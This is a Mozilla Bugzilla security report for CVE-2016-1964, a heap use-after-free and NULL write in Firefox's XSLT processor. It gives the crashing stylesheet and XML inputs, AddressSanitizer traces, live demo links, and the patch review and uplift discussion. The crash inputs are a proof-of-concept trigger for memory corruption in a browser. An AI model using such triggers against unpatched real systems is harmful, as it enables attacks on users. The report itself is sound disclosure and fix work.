Closed Bug 1243335 (CVE-2016-1964) Opened 8 years ago Closed 8 years ago

Write AV near NULL in AtomicBaseIncDec() / Heap UAF in nsAutoPtr<txAXMLEventHandler>::~nsAutoPtr()

Categories

(Core :: XSLT, defect)

44 Branch
defect
Not set
critical

Tracking

()

VERIFIED FIXED
mozilla47
Tracking Status
firefox44 --- wontfix
firefox45 + verified
firefox46 + verified
firefox47 + verified
firefox-esr38 45+ verified
firefox-esr45 --- verified

People

(Reporter: nicolas.gregoire, Assigned: peterv)

References

()

Details

(4 keywords, Whiteboard: [adv-main45+][adv-esr38.7+])

Attachments

(1 file)

Tested on latest Firefox 44 compiled with ASan+debug

Description: depending on the XML source to be transformed, two different crashes (a heap UAF and a write to NULL) can be seen

XSLT:

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 <xsl:template match="*">
  <xsl:variable name="v">
   <xsl:text>foo</xsl:text>
   <xsl:apply-imports/>
  </xsl:variable>
  <xsl:attribute name="{$v}"/>
  </xsl:template>
</xsl:stylesheet>


XML #1:

<top> 
<zou>
</zou>
</top>

Output #1:

AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7fc03686e84e sp 0x7fffd2c36280 bp 0x7fffd2c36280 T0)
    #0 0x7fc03686e84d in std::__atomic_base<int>::fetch_sub(int, std::memory_order) /tools/gcc-4.7.3-0moz1/lib/gcc/x86_64-unknown-linux-gnu/4.7.3/../../../../include/c++/4.7.3/bits/atomic_base.h:582
    #1 0x7fc036864bf8 in mozilla::detail::AtomicBaseIncDec<int, (mozilla::MemoryOrdering)2>::operator--() /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/obj-firefox/js/src/../../dist/include/mozilla/Atomics.h:565
    #2 0x7fc036864b2e in nsStringBuffer::Release() /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/xpcom/string/nsSubstring.cpp:197
    #3 0x7fc03af8449d in txTextHandler::~txTextHandler() /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/xslt/xslt/txTextHandler.h:12
    #4 0x7fc03af49390 in txSetVariable::execute(txExecutionState&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/xslt/xslt/txInstructions.cpp:808
    #5 0x7fc03af83c9d in txXSLTProcessor::execute(txExecutionState&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/xslt/xslt/txXSLTProcessor.cpp:49
    #6 0x7fc03af5f347 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:681
    #7 0x7fc03af62793 in txMozillaXSLTProcessor::TransformToDocument(nsINode&, mozilla::ErrorResult&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:1329
    #8 0x7fc039793860 in mozilla::dom::XSLTProcessorBinding::transformToDocument(JSContext*, JS::Handle<JSObject*>, txMozillaXSLTProcessor*, JSJitMethodCallArgs const&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/obj-firefox/dom/bindings/./XSLTProcessorBinding.cpp:153
    #9 0x7fc039e1d1ce in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/bindings/BindingUtils.cpp:2691
    #10 0x7fc03e197142 in js::CallJSNative(JSContext*, bool (*)(JSContext*, unsigned int, JS::Value*), JS::CallArgs const&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/jscntxtinlines.h:235
    #11 0x7fc03e15d9ac in js::Invoke(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:772:16
    #12 0x7fc03e189add in Interpret(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:3105
    #13 0x7fc03e175990 in js::RunScript(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:725
    #14 0x7fc03e198e42 in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value const&, JS::Value const&, js::ExecuteType, js::AbstractFramePtr, JS::Value*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:1000
    #15 0x7fc03e1999ab in js::Execute(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:1034
    #16 0x7fc03de42c4c in ExecuteScript(JSContext*, JS::Handle<JSObject*>, JS::Handle<JSScript*>, JS::Value*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/jsapi.cpp:4598
    #17 0x7fc03de42992 in JS_ExecuteScript(JSContext*, JS::Handle<JSScript*>, JS::MutableHandle<JS::Value>) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/jsapi.cpp:4624
    #18 0x7fc037a5f7d4 in ProcessFile(mozilla::dom::AutoJSAPI&, char const*, _IO_FILE*, bool) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/src/XPCShellImpl.cpp:876
    #19 0x7fc037a5fa73 in Process(mozilla::dom::AutoJSAPI&, char const*, bool) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/src/XPCShellImpl.cpp:929
    #20 0x7fc037a0012f in ProcessArgs(mozilla::dom::AutoJSAPI&, char**, int, XPCShellDirProvider*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/src/XPCShellImpl.cpp:1128
    #21 0x7fc0379fd7c2 in XRE_XPCShellMain /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/src/XPCShellImpl.cpp:1546
    #22 0x48a94f in main /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/shell/xpcshell.cpp:54
    #23 0x7fc031136ec4 (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4)
    #24 0x48a6cc in _start (/home/azureuser/ff-44/xpcshell+0x48a6cc)

Live demo #1:

http://nicob.net/firefox-aeshooT3/Bug-2/AtomicBaseIncDec-write_av_at_null.xml

XML #2:

<top>
<zou></zou>
</top>

Output #2:

###!!! ASSERTION: We're leaking mEs->mResultHandler.: 'mEs->mResultHandler == this', file /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/xslt/xslt/txUnknownHandler.cpp, line 80
=================================================================
==33391==ERROR: AddressSanitizer: heap-use-after-free on address 0x60400005e290 at pc 0x7ff354733d92 bp 0x7fff7a6faf40 sp 0x7fff7a6faf38
READ of size 8 at 0x60400005e290 thread T0
    #0 0x7ff354733d91 in nsAutoPtr<txAXMLEventHandler>::~nsAutoPtr() /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/obj-firefox/dom/xslt/xslt/../../../dist/include/nsAutoPtr.h:74
    #1 0x7ff354733a75 in txExecutionState::~txExecutionState() /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/xslt/xslt/txExecutionState.cpp:94
    #2 0x7ff354756486 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:706
    #3 0x7ff354759793 in txMozillaXSLTProcessor::TransformToDocument(nsINode&, mozilla::ErrorResult&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:1329
    #4 0x7ff352f8a860 in mozilla::dom::XSLTProcessorBinding::transformToDocument(JSContext*, JS::Handle<JSObject*>, txMozillaXSLTProcessor*, JSJitMethodCallArgs const&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/obj-firefox/dom/bindings/./XSLTProcessorBinding.cpp:153
    #5 0x7ff3536141ce in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/bindings/BindingUtils.cpp:2691
    #6 0x7ff35798e142 in js::CallJSNative(JSContext*, bool (*)(JSContext*, unsigned int, JS::Value*), JS::CallArgs const&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/jscntxtinlines.h:235
    #7 0x7ff3579549ac in js::Invoke(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:772:16
    #8 0x7ff357980add in Interpret(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:3105
    #9 0x7ff35796c990 in js::RunScript(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:725
    #10 0x7ff35798fe42 in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value const&, JS::Value const&, js::ExecuteType, js::AbstractFramePtr, JS::Value*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:1000
    #11 0x7ff3579909ab in js::Execute(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:1034
    #12 0x7ff357639c4c in ExecuteScript(JSContext*, JS::Handle<JSObject*>, JS::Handle<JSScript*>, JS::Value*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/jsapi.cpp:4598
    #13 0x7ff357639992 in JS_ExecuteScript(JSContext*, JS::Handle<JSScript*>, JS::MutableHandle<JS::Value>) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/jsapi.cpp:4624
    #14 0x7ff3512567d4 in ProcessFile(mozilla::dom::AutoJSAPI&, char const*, _IO_FILE*, bool) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/src/XPCShellImpl.cpp:876
    #15 0x7ff351256a73 in Process(mozilla::dom::AutoJSAPI&, char const*, bool) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/src/XPCShellImpl.cpp:929
    #16 0x7ff3511f712f in ProcessArgs(mozilla::dom::AutoJSAPI&, char**, int, XPCShellDirProvider*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/src/XPCShellImpl.cpp:1128
    #17 0x7ff3511f47c2 in XRE_XPCShellMain /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/src/XPCShellImpl.cpp:1546
    #18 0x48a94f in main /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/shell/xpcshell.cpp:54
    #19 0x7ff34a92dec4 (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4)
    #20 0x48a6cc in _start (/home/azureuser/ff-44/xpcshell+0x48a6cc)

0x60400005e290 is located 0 bytes inside of 40-byte region [0x60400005e290,0x60400005e2b8)
freed by thread T0 here:
    #0 0x472ae1 in __interceptor_free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:64
    #1 0x7ff3547338f4 in txExecutionState::~txExecutionState() /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/xslt/xslt/txExecutionState.cpp:85:37
    #2 0x7ff354756486 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:706
    #3 0x7ff354759793 in txMozillaXSLTProcessor::TransformToDocument(nsINode&, mozilla::ErrorResult&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:1329
    #4 0x7ff352f8a860 in mozilla::dom::XSLTProcessorBinding::transformToDocument(JSContext*, JS::Handle<JSObject*>, txMozillaXSLTProcessor*, JSJitMethodCallArgs const&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/obj-firefox/dom/bindings/./XSLTProcessorBinding.cpp:153
    #5 0x7ff3536141ce in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/bindings/BindingUtils.cpp:2691
    #6 0x7ff35798e142 in js::CallJSNative(JSContext*, bool (*)(JSContext*, unsigned int, JS::Value*), JS::CallArgs const&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/jscntxtinlines.h:235
    #7 0x7ff3579549ac in js::Invoke(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:772:16
    #8 0x7ff357980add in Interpret(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:3105
    #9 0x7ff35796c990 in js::RunScript(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:725
    #10 0x7ff35798fe42 in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value const&, JS::Value const&, js::ExecuteType, js::AbstractFramePtr, JS::Value*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:1000
    #11 0x7ff3579909ab in js::Execute(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:1034
    #12 0x7ff357639c4c in ExecuteScript(JSContext*, JS::Handle<JSObject*>, JS::Handle<JSScript*>, JS::Value*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/jsapi.cpp:4598
    #13 0x7ff357639992 in JS_ExecuteScript(JSContext*, JS::Handle<JSScript*>, JS::MutableHandle<JS::Value>) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/jsapi.cpp:4624
    #14 0x7ff3512567d4 in ProcessFile(mozilla::dom::AutoJSAPI&, char const*, _IO_FILE*, bool) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/src/XPCShellImpl.cpp:876
    #15 0x7ff351256a73 in Process(mozilla::dom::AutoJSAPI&, char const*, bool) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/src/XPCShellImpl.cpp:929
    #16 0x7ff3511f712f in ProcessArgs(mozilla::dom::AutoJSAPI&, char**, int, XPCShellDirProvider*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/src/XPCShellImpl.cpp:1128
    #17 0x7ff3511f47c2 in XRE_XPCShellMain /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/src/XPCShellImpl.cpp:1546
    #18 0x48a94f in main /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/shell/xpcshell.cpp:54
    #19 0x7ff34a92dec4 (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4)

previously allocated by thread T0 here:
    #0 0x472ce1 in __interceptor_malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:74
    #1 0x48b0ad in moz_xmalloc /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/memory/mozalloc/mozalloc.cpp:83
    #2 0x7ff3547516a1 in operator new(unsigned long) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/obj-firefox/dom/xslt/xslt/../../../dist/include/mozilla/mozalloc.h:186
    #3 0x7ff3547516a1 in txToDocHandlerFactory::createHandlerWith(txOutputFormat*, txAXMLEventHandler**) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:92
    #4 0x7ff354733f62 in txExecutionState::init(txXPathNode const&, txOwningExpandedNameMap<txIGlobalParameter>*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/xslt/xslt/txExecutionState.cpp:112
    #5 0x7ff35475632d in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:677
    #6 0x7ff354759793 in txMozillaXSLTProcessor::TransformToDocument(nsINode&, mozilla::ErrorResult&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:1329
    #7 0x7ff352f8a860 in mozilla::dom::XSLTProcessorBinding::transformToDocument(JSContext*, JS::Handle<JSObject*>, txMozillaXSLTProcessor*, JSJitMethodCallArgs const&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/obj-firefox/dom/bindings/./XSLTProcessorBinding.cpp:153
    #8 0x7ff3536141ce in mozilla::dom::GenericBindingMethod(JSContext*, unsigned int, JS::Value*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/dom/bindings/BindingUtils.cpp:2691
    #9 0x7ff35798e142 in js::CallJSNative(JSContext*, bool (*)(JSContext*, unsigned int, JS::Value*), JS::CallArgs const&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/jscntxtinlines.h:235
    #10 0x7ff3579549ac in js::Invoke(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:772:16
    #11 0x7ff357980add in Interpret(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:3105
    #12 0x7ff35796c990 in js::RunScript(JSContext*, js::RunState&) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:725
    #13 0x7ff35798fe42 in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value const&, JS::Value const&, js::ExecuteType, js::AbstractFramePtr, JS::Value*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:1000
    #14 0x7ff3579909ab in js::Execute(JSContext*, JS::Handle<JSScript*>, JSObject&, JS::Value*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/vm/Interpreter.cpp:1034
    #15 0x7ff357639c4c in ExecuteScript(JSContext*, JS::Handle<JSObject*>, JS::Handle<JSScript*>, JS::Value*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/jsapi.cpp:4598
    #16 0x7ff357639992 in JS_ExecuteScript(JSContext*, JS::Handle<JSScript*>, JS::MutableHandle<JS::Value>) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/src/jsapi.cpp:4624
    #17 0x7ff3512567d4 in ProcessFile(mozilla::dom::AutoJSAPI&, char const*, _IO_FILE*, bool) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/src/XPCShellImpl.cpp:876
    #18 0x7ff351256a73 in Process(mozilla::dom::AutoJSAPI&, char const*, bool) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/src/XPCShellImpl.cpp:929
    #19 0x7ff3511f712f in ProcessArgs(mozilla::dom::AutoJSAPI&, char**, int, XPCShellDirProvider*) /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/src/XPCShellImpl.cpp:1128
    #20 0x7ff3511f47c2 in XRE_XPCShellMain /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/src/XPCShellImpl.cpp:1546
    #21 0x48a94f in main /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/js/xpconnect/shell/xpcshell.cpp:54
    #22 0x7ff34a92dec4 (/lib/x86_64-linux-gnu/libc.so.6+0x21ec4)

SUMMARY: AddressSanitizer: heap-use-after-free /builds/slave/m-cen-l64-asan-d-0000000000000/build/src/obj-firefox/dom/xslt/xslt/../../../dist/include/nsAutoPtr.h:74 nsAutoPtr<txAXMLEventHandler>::~nsAutoPtr()

Live demo #2: 

http://nicob.net/firefox-aeshooT3/Bug-2/nsAutoPtr-heap_uaf.xml
In a release (non-asan) build I get
  Demo #1: bp-ba80594e-22d2-4bb2-a40c-bf5472160130
  Demo #2: bp-4ac7599e-6f01-4682-9f3b-8be202160130
which aren't as interesting as the ASAN results, but at least confirm the crash.
Group: core-security → dom-core-security
Status: UNCONFIRMED → NEW
Ever confirmed: true
Keywords: crash, testcase
Assignee: nobody → peterv
Status: NEW → ASSIGNED
txAttribute::execute doesn't pop the result handler pushed with txPushStringHandler, so the result handler stack is out of balance.
Attached patch v1 — — Splinter Review
The QName is invalid, we're allowed to ignore the bad QName and we do (for elements too). I think we should revisit that, but we can do that in a separate bug.
Attachment #8714280 - Flags: review?(jonas)
Comment on attachment 8714280 [details] [diff] [review]
v1

Review of attachment 8714280 [details] [diff] [review]:
-----------------------------------------------------------------

::: dom/xslt/xslt/txInstructions.cpp
@@ +104,3 @@
>      nsAutoString name;
>      nsresult rv = mName->evaluateToString(aEs.getEvalContext(), name);
>      NS_ENSURE_SUCCESS(rv, rv);

Shouldn't the popResultHandler happen after the mName->evaluateToString() call? So that that evaluation happens with the correct result handler?
Attachment #8714280 - Flags: review+ → review-
Oh, if that's the case, then we'll have to keep the popResultHandler where it is since there's the mNamespace->evaluate() as well.

But I forget, does the result handler matter when we're doing xpath evaluation? I guess maybe it does not, in which case the patch is good as-is?
Flags: sec-bounty?
(In reply to Jonas Sicking (:sicking) from comment #5)
> But I forget, does the result handler matter when we're doing xpath
> evaluation? I guess maybe it does not, in which case the patch is good as-is?

It shouldn't, but I can add a popResultHandler in the bad QName case if you prefer.
Flags: needinfo?(jonas)
Comment on attachment 8714280 [details] [diff] [review]
v1

Review of attachment 8714280 [details] [diff] [review]:
-----------------------------------------------------------------

No, i'm starting to remember how this stuff works. This looks fine to me.
Attachment #8714280 - Flags: review?(jonas) → review+
Comment on attachment 8714280 [details] [diff] [review]
v1

[Security approval request comment]
How easily could an exploit be constructed based on the patch?

Not trivially, but with a little understanding of the code it shouldn't be very hard.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?

Patch includes a crash test.

Which older supported branches are affected by this flaw?

All.

If not all supported branches, which bug introduced the flaw?

NA

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?

Patch should just apply on all branches.

How likely is this patch to cause regressions; how much testing does it need?

Very unlikely.
Attachment #8714280 - Flags: sec-approval?
Tracking since this is sec-critical and likely affects all current versions.
sec-approval+ for the patch WITHOUT the test. We shouldn't land a test for a sec-critical bug until after we fix it *and* the fix is shipped.

We'll want this on Aurora, Beta, and ESR38 so please nominate patches for these to land following mozilla central checkin.
Attachment #8714280 - Flags: sec-approval? → sec-approval+
https://hg.mozilla.org/mozilla-central/rev/c9acfa2d3f52
Status: ASSIGNED → RESOLVED
Closed: 8 years ago
Resolution: --- → FIXED
Target Milestone: --- → mozilla47
Peter, could you fill the uplift requests? Thanks
Flags: needinfo?(peterv)
Attachment #8714280 - Flags: approval-mozilla-esr38?
Attachment #8714280 - Flags: approval-mozilla-beta?
Attachment #8714280 - Flags: approval-mozilla-aurora?
Comment on attachment 8714280 [details] [diff] [review]
v1

Approval Request Comment
[Feature/regressing bug #]: not a regression
[User impact if declined]: crash
[Describe test coverage new/current, TreeHerder]: crashtest hasn't been landed yet because sec-critical
[Risks and why]: low-risk, just runs some code in an error case, so we avoid a crash caused by not running it
[String/UUID change made/needed]: none
Flags: needinfo?(peterv)
Comment on attachment 8714280 [details] [diff] [review]
v1

Sec critical, taking it on all branches.
Should be in 45 beta 5.
Attachment #8714280 - Flags: approval-mozilla-esr38?
Attachment #8714280 - Flags: approval-mozilla-esr38+
Attachment #8714280 - Flags: approval-mozilla-beta?
Attachment #8714280 - Flags: approval-mozilla-beta+
Attachment #8714280 - Flags: approval-mozilla-aurora?
Attachment #8714280 - Flags: approval-mozilla-aurora+
Flags: sec-bounty? → sec-bounty+
Group: dom-core-security → core-security-release
I was able to reproduce this issue on Firefox 47.0a1 (2016-01-27) using Windows 10 64-bit.

Verified fixed on Firefox 47.0a1 (2016-02-29), Firefox 46.0a2 (2016-02-29), Firefox 45 beta 10  	(20160225145837), Firefox  45.0 ESR tinderbox-build (20160229180409) and Firefox 38.6.1esrpre tinderbox-build (20160229210832) under Windows 10 64-bit, Ubuntu 12.04 32-bit and Mac OS X 10.11.
Whiteboard: [adv-main45+][adv-esr38.7+]
Alias: CVE-2016-1964
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: